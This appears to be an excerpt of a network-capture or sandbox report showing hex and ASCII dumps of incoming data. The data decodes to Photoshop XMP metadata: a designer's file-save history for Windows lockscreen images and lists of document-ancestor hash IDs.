2022-07-21 02:34:44 UTC	1529	IN	Data Raw: 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 36 37 33 33 31 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 35 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 Data Ascii: ed 2017-07-26T13:24:34-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Chosen\MixerEngagementFY18_GettyImages-160673315_1080x1920.psd saved 2017-07-26T13:24:54-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\Mi
2022-07-21 02:34:44 UTC	1600	IN	Data Raw: 6e 65 44 72 69 76 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 37 34 39 38 36 30 36 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 31 34 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 32 Data Ascii: neDrive_shutterstock_374986063_1080x1920.jpg saved 2017-08-03T16:14:13-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-08-03T2
2022-07-21 02:34:44 UTC	1632	IN	Data Raw: 74 65 72 73 74 6f 63 6b 5f 34 35 35 32 35 37 34 35 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 35 3a 30 33 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 37 3a 31 33 3a 30 36 2d 30 37 3a 30 Data Ascii: terstock_455257450_1080x1920.jpg saved 2017-09-28T15:03:07-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-09-28T17:13:06-07:0
2022-07-21 02:34:44 UTC	1688	IN	Data Raw: 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 4a 68 61 72 6b 68 61 6e 64 5f 41 6c 61 6d 79 2d 44 58 44 30 46 47 5f 31 30 38 30 78 31 39 32 30 35 44 38 45 38 38 41 44 42 32 43 35 41 33 32 37 38 36 45 38 46 35 35 36 37 30 31 30 38 30 45 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 36 54 31 32 3a 35 38 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4a 68 61 72 6b 68 61 6e 64 5c 43 48 4f 53 45 4e Data Ascii: 9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Edge-Jharkhand_Alamy-DXD0FG_1080x19205D8E88ADB2C5A32786E8F556701080E5.psb saved 2017-11-16T12:58:14-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\Jharkhand\CHOSEN
2022-07-21 02:34:44 UTC	1735	IN	Data Raw: 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 34 30 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 44 65 63 32 30 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 35 37 39 32 39 37 39 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 34 31 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c Data Ascii: 6_1080x1920.jpg saved 2017-12-04T11:40:12-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Dec2017\Chosen\Crops\MIT-WinterEntDec_shutterstock_357929792_1080x1920.jpg saved 2017-12-04T11:41:08-08:00 File C:\Users\
2022-07-21 02:34:44 UTC	1879	IN	Data Raw: 32 2d 32 30 54 32 33 3a 33 35 3a 32 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 57 69 6e 31 30 2d 4c 6f 63 6b 5f 53 70 6f 74 6c 69 67 68 74 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 31 32 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 33 3a 33 36 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 57 69 6e 31 30 2d 4c 6f 63 6b 73 63 72 65 65 6e 73 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 Data Ascii: 2-20T23:35:24-08:00 File C:\Users\v-lizagh\Dropbox (Aquent)\Win10-Lock_Spotlight\Templates\Lockscreen_1080x1920_Portrait12.psd saved 2017-12-20T23:36:29-08:00 File C:\Users\v-lizagh\Dropbox (Aquent)\Win10-Lockscreens\Templates\Lockscreen_1080x
2022-07-21 02:34:44 UTC	1958	IN	Data Raw: 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 31 54 31 33 3a 33 37 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 30 38 30 78 31 39 32 30 44 30 44 36 37 46 44 43 46 46 41 30 39 44 39 35 37 46 46 34 43 43 41 46 35 34 41 30 44 46 38 36 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 Data Ascii: ettyImages-161928393_1080x1920.jpg saved 2018-01-31T13:37:56-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-WinterOlympics_GettyImages-161928393_1080x1920D0D67FDCFFA09D957FF4CCAF54A0DF86.psb saved 2
2022-07-21 02:34:44 UTC	2006	IN	Data Raw: 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 33 38 3a 32 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 37 36 32 35 35 36 36 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 33 38 3a 33 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c Data Ascii: xA;2018-02-15T15:38:27-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\HomeworkAid\CHOSEN\Crops\MIT-Intl_HomeworkAid_shutterstock_376255660_1080x1920.jpg saved 2018-02-15T15:38:31-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\
2022-07-21 02:34:44 UTC	2093	IN	Data Raw: 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 69 78 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 39 32 32 38 32 35 33 31 34 5f 31 30 38 30 78 31 39 32 30 39 35 37 37 43 42 42 46 41 39 43 35 35 39 33 44 34 30 34 43 37 46 41 42 45 46 45 30 38 31 30 46 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 34 34 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 69 Data Ascii: Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Mixer_GettyImages-922825314_1080x19209577CBBFA9C5593D404C7FABEFE0810F.psb saved 2018-03-21T15:44:44-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Round2\_CHOSEN\Crops\Mi
2022-07-21 02:34:44 UTC	2301	IN	Data Raw: 41 46 36 45 42 45 32 46 45 32 38 37 33 35 35 43 37 43 45 34 30 31 39 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 39 45 36 39 34 33 35 44 32 36 33 30 34 32 34 45 35 33 42 39 34 44 44 39 31 45 42 44 37 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 30 30 41 41 31 34 39 46 41 33 39 37 37 34 44 30 36 37 46 38 36 45 33 45 31 43 41 32 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 30 46 42 43 32 41 35 39 35 39 37 37 30 31 37 38 45 30 41 34 38 44 30 36 43 38 32 37 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 31 36 37 37 34 38 38 46 36 30 38 35 32 39 43 37 34 43 33 45 39 44 33 42 45 32 32 36 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 31 43 35 42 41 30 38 36 33 Data Ascii: AF6EBE2FE287355C7CE401972C</rdf:li> <rdf:li>09E69435D2630424E53B94DD91EBD7C4</rdf:li> <rdf:li>0A00AA149FA39774D067F86E3E1CA2DE</rdf:li> <rdf:li>0A0FBC2A5959770178E0A48D06C8271D</rdf:li> <rdf:li>0A1677488F608529C74C3E9D3BE22620</rdf:li> <rdf:li>0A1C5BA0863
2022-07-21 02:34:44 UTC	2332	IN	Data Raw: 34 43 43 38 30 35 30 33 39 44 36 33 38 39 41 45 44 35 45 35 35 31 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 34 43 31 37 38 36 33 34 44 46 35 45 30 46 42 46 46 46 34 46 33 36 34 35 36 35 44 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 41 34 33 37 32 32 45 31 46 36 41 31 36 33 30 31 44 46 45 31 46 30 43 30 42 46 31 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 46 35 41 37 46 33 45 32 30 46 34 44 34 45 45 41 36 32 32 35 45 41 38 35 39 44 42 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 46 37 39 33 37 30 43 36 42 32 46 45 32 30 41 43 33 33 44 43 37 34 35 42 42 39 46 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 34 32 44 36 42 32 34 45 44 36 31 Data Ascii: 4CC805039D6389AED5E551F2</rdf:li> <rdf:li>1034C178634DF5E0FBFFF4F364565D5A</rdf:li> <rdf:li>103A43722E1F6A16301DFE1F0C0BF160</rdf:li> <rdf:li>103F5A7F3E20F4D4EEA6225EA859DB56</rdf:li> <rdf:li>103F79370C6B2FE20AC33DC745BB9F68</rdf:li> <rdf:li>1042D6B24ED61
2022-07-21 02:34:44 UTC	2412	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 31 44 39 46 38 45 42 36 36 31 36 37 37 36 38 45 34 46 30 39 46 46 46 30 39 31 38 34 44 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 41 33 35 32 35 36 44 31 45 41 42 32 45 32 44 36 34 37 44 33 46 36 45 33 46 46 42 45 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 43 43 36 46 42 35 46 30 38 35 46 39 41 44 41 34 43 31 42 38 46 32 44 33 30 39 38 34 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 45 36 30 36 46 42 30 43 34 37 35 44 44 34 34 46 37 39 36 43 44 42 37 46 37 42 41 41 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 46 36 41 43 46 30 43 32 45 34 46 43 35 43 35 37 31 31 41 36 44 38 31 43 39 31 38 39 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>1D9F8EB66167768E4F09FFF09184DF67</rdf:li> <rdf:li>1DA35256D1EAB2E2D647D3F6E3FFBE44</rdf:li> <rdf:li>1DCC6FB5F085F9ADA4C1B8F2D309842F</rdf:li> <rdf:li>1DE606FB0C475DD44F796CDB7F7BAA24</rdf:li> <rdf:li>1DF6ACF0C2E4FC5C5711A6D81C9189C9</rdf:li> <rdf:
2022-07-21 02:34:44 UTC	2428	IN	Data Raw: 31 43 46 37 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 39 30 44 34 43 41 39 32 46 36 43 44 41 33 39 36 37 42 37 38 38 30 38 42 37 39 39 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 42 35 30 31 43 41 42 37 46 46 34 33 32 44 43 39 35 31 39 37 44 30 44 34 39 36 34 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 42 41 42 39 35 39 41 32 46 33 30 41 36 37 34 36 36 39 36 41 41 46 30 32 32 39 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 46 35 31 36 37 46 31 41 32 35 35 45 37 39 41 45 31 45 41 45 32 38 43 33 43 32 33 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 43 37 33 31 46 41 44 34 43 46 41 32 44 36 30 43 32 34 45 30 46 45 32 33 42 32 32 45 44 Data Ascii: 1CF7DF</rdf:li> <rdf:li>2AB90D4CA92F6CDA3967B78808B799AC</rdf:li> <rdf:li>2ABB501CAB7FF432DC95197D0D4964E1</rdf:li> <rdf:li>2ABBAB959A2F30A6746696AAF0229D77</rdf:li> <rdf:li>2ABF5167F1A255E79AE1EAE28C3C2304</rdf:li> <rdf:li>2AC731FAD4CFA2D60C24E0FE23B22ED
2022-07-21 02:34:44 UTC	2627	IN	Data Raw: 3e 33 30 42 33 38 39 42 44 43 39 41 32 34 42 41 31 35 38 44 34 37 31 41 32 44 38 32 33 34 39 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 42 34 46 36 32 37 38 44 42 42 42 38 33 35 35 38 37 34 46 43 45 46 38 43 38 35 41 42 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 42 39 36 38 33 33 32 30 37 32 37 41 35 30 43 33 41 37 41 36 44 46 46 35 44 37 44 44 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 43 36 44 42 33 42 42 37 38 37 41 46 38 36 32 46 30 37 32 33 34 33 45 45 43 35 34 44 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 43 44 35 46 33 33 44 39 42 41 32 30 42 39 33 38 46 33 35 42 34 44 42 35 39 43 45 36 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 44 35 Data Ascii: >30B389BDC9A24BA158D471A2D8234940</rdf:li> <rdf:li>30B4F6278DBBB8355874FCEF8C85AB36</rdf:li> <rdf:li>30B9683320727A50C3A7A6DFF5D7DD0B</rdf:li> <rdf:li>30C6DB3BB787AF862F072343EEC54DDE</rdf:li> <rdf:li>30CD5F33D9BA20B938F35B4DB59CE65A</rdf:li> <rdf:li>30D5
2022-07-21 02:34:44 UTC	2682	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 46 45 43 46 46 30 46 38 30 39 37 44 36 38 37 46 34 42 33 31 37 30 36 30 31 37 33 34 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 33 35 38 39 38 34 36 46 43 36 46 42 44 34 41 34 39 36 38 45 42 42 32 37 35 31 44 46 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 34 35 41 37 31 39 34 30 32 36 45 43 31 32 31 41 41 37 38 46 45 41 38 45 38 36 38 42 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 35 30 35 31 39 38 42 37 45 36 42 32 46 35 36 44 41 44 32 42 36 39 33 32 37 33 46 37 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 35 30 37 39 37 31 36 41 30 42 45 45 32 33 32 46 32 41 46 34 46 45 44 43 39 32 34 46 35 45 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>3DFECFF0F8097D687F4B31706017342F</rdf:li> <rdf:li>3E3589846FC6FBD4A4968EBB2751DF99</rdf:li> <rdf:li>3E45A7194026EC121AA78FEA8E868B2D</rdf:li> <rdf:li>3E505198B7E6B2F56DAD2B693273F7C5</rdf:li> <rdf:li>3E5079716A0BEE232F2AF4FEDC924F5E</rdf:
2022-07-21 02:34:44 UTC	2754	IN	Data Raw: 41 45 34 34 43 44 43 32 38 39 39 42 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 30 35 43 36 37 37 36 44 33 44 44 41 32 44 35 38 38 37 34 32 33 32 35 44 31 39 33 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 35 30 45 33 36 37 38 34 45 44 43 37 39 30 39 39 32 30 42 44 32 46 46 33 44 37 36 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 45 36 46 37 43 37 39 43 35 41 38 43 36 32 41 34 45 37 32 46 31 36 45 32 43 37 41 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 46 46 41 35 43 33 42 44 42 45 39 30 41 33 44 46 46 39 39 35 31 44 36 46 46 45 33 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 42 34 39 37 41 32 36 41 34 41 43 32 32 33 31 46 39 33 34 45 Data Ascii: AE44CDC2899BA58</rdf:li> <rdf:li>4AA05C6776D3DDA2D588742325D193A7</rdf:li> <rdf:li>4AA50E36784EDC7909920BD2FF3D7655</rdf:li> <rdf:li>4AAE6F7C79C5A8C62A4E72F16E2C7A7C</rdf:li> <rdf:li>4AAFFA5C3BDBE90A3DFF9951D6FFE397</rdf:li> <rdf:li>4AB497A26A4AC2231F934E
2022-07-21 02:34:44 UTC	2857	IN	Data Raw: 45 34 38 34 46 31 37 46 37 33 30 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 33 43 38 45 31 33 31 33 33 46 34 44 41 37 34 38 39 44 33 45 41 31 31 37 30 31 33 30 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 34 42 36 43 36 34 45 31 35 36 34 32 42 44 42 33 36 37 46 32 45 39 44 46 34 35 30 36 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 36 35 46 46 34 43 32 30 42 44 32 43 30 34 34 37 43 31 43 44 45 44 32 39 33 34 36 42 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 36 46 34 35 46 44 38 41 34 36 42 41 44 43 37 39 34 45 41 30 44 36 45 45 31 43 37 45 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 38 30 34 36 35 32 45 34 37 36 31 30 41 31 37 31 45 46 46 30 43 46 Data Ascii: E484F17F730DD</rdf:li> <rdf:li>513C8E13133F4DA7489D3EA117013087</rdf:li> <rdf:li>514B6C64E15642BDB367F2E9DF45065E</rdf:li> <rdf:li>5165FF4C20BD2C0447C1CDED29346B41</rdf:li> <rdf:li>516F45FD8A46BADC794EA0D6EE1C7EAA</rdf:li> <rdf:li>51804652E47610A171EFF0CF
2022-07-21 02:34:44 UTC	2920	IN	Data Raw: 42 44 46 46 39 31 34 43 43 37 34 33 43 37 33 46 42 38 39 36 45 43 32 30 46 37 32 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 41 32 31 39 42 34 36 32 45 41 34 31 35 30 33 44 31 41 36 42 42 32 31 35 37 44 39 44 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 41 38 33 43 45 32 37 32 43 44 31 44 38 39 33 45 30 43 44 31 45 42 31 41 38 35 39 45 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 42 33 42 31 44 31 44 33 42 45 45 33 33 35 44 44 44 34 38 32 30 37 31 31 33 42 30 38 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 44 30 38 34 39 37 41 36 38 45 34 31 31 46 37 38 31 33 41 42 45 42 44 46 45 42 42 33 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 44 32 38 34 32 30 Data Ascii: BDFF914CC743C73FB896EC20F72EB</rdf:li> <rdf:li>5FA219B462EA41503D1A6BB2157D9DC6</rdf:li> <rdf:li>5FA83CE272CD1D893E0CD1EB1A859E86</rdf:li> <rdf:li>5FB3B1D1D3BEE335DDD48207113B08EA</rdf:li> <rdf:li>5FD08497A68E411F7813ABEBDFEBB3D8</rdf:li> <rdf:li>5FD28420
2022-07-21 02:34:44 UTC	3056	IN	Data Raw: 37 33 30 37 44 32 43 36 45 44 30 34 46 36 36 45 33 33 44 37 38 41 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 34 36 35 31 37 39 42 41 35 38 34 41 35 36 39 46 45 42 44 30 35 46 41 30 39 31 32 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 36 38 33 42 32 33 42 34 34 37 30 35 46 36 42 38 35 44 36 41 36 44 44 33 31 44 43 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 44 39 45 43 45 36 34 41 43 30 34 33 44 39 35 41 43 32 38 42 38 38 35 35 41 45 42 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 30 35 34 35 39 45 44 42 37 39 37 43 41 41 41 41 38 35 38 43 30 37 35 36 34 35 38 37 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 30 38 46 41 34 44 32 34 35 31 33 Data Ascii: 7307D2C6ED04F66E33D78A34</rdf:li> <rdf:li>6DD465179BA584A569FEBD05FA091253</rdf:li> <rdf:li>6DD683B23B44705F6B85D6A6DD31DCF2</rdf:li> <rdf:li>6DDD9ECE64AC043D95AC28B8855AEB01</rdf:li> <rdf:li>6E05459EDB797CAAAA858C07564587A8</rdf:li> <rdf:li>6E08FA4D24513
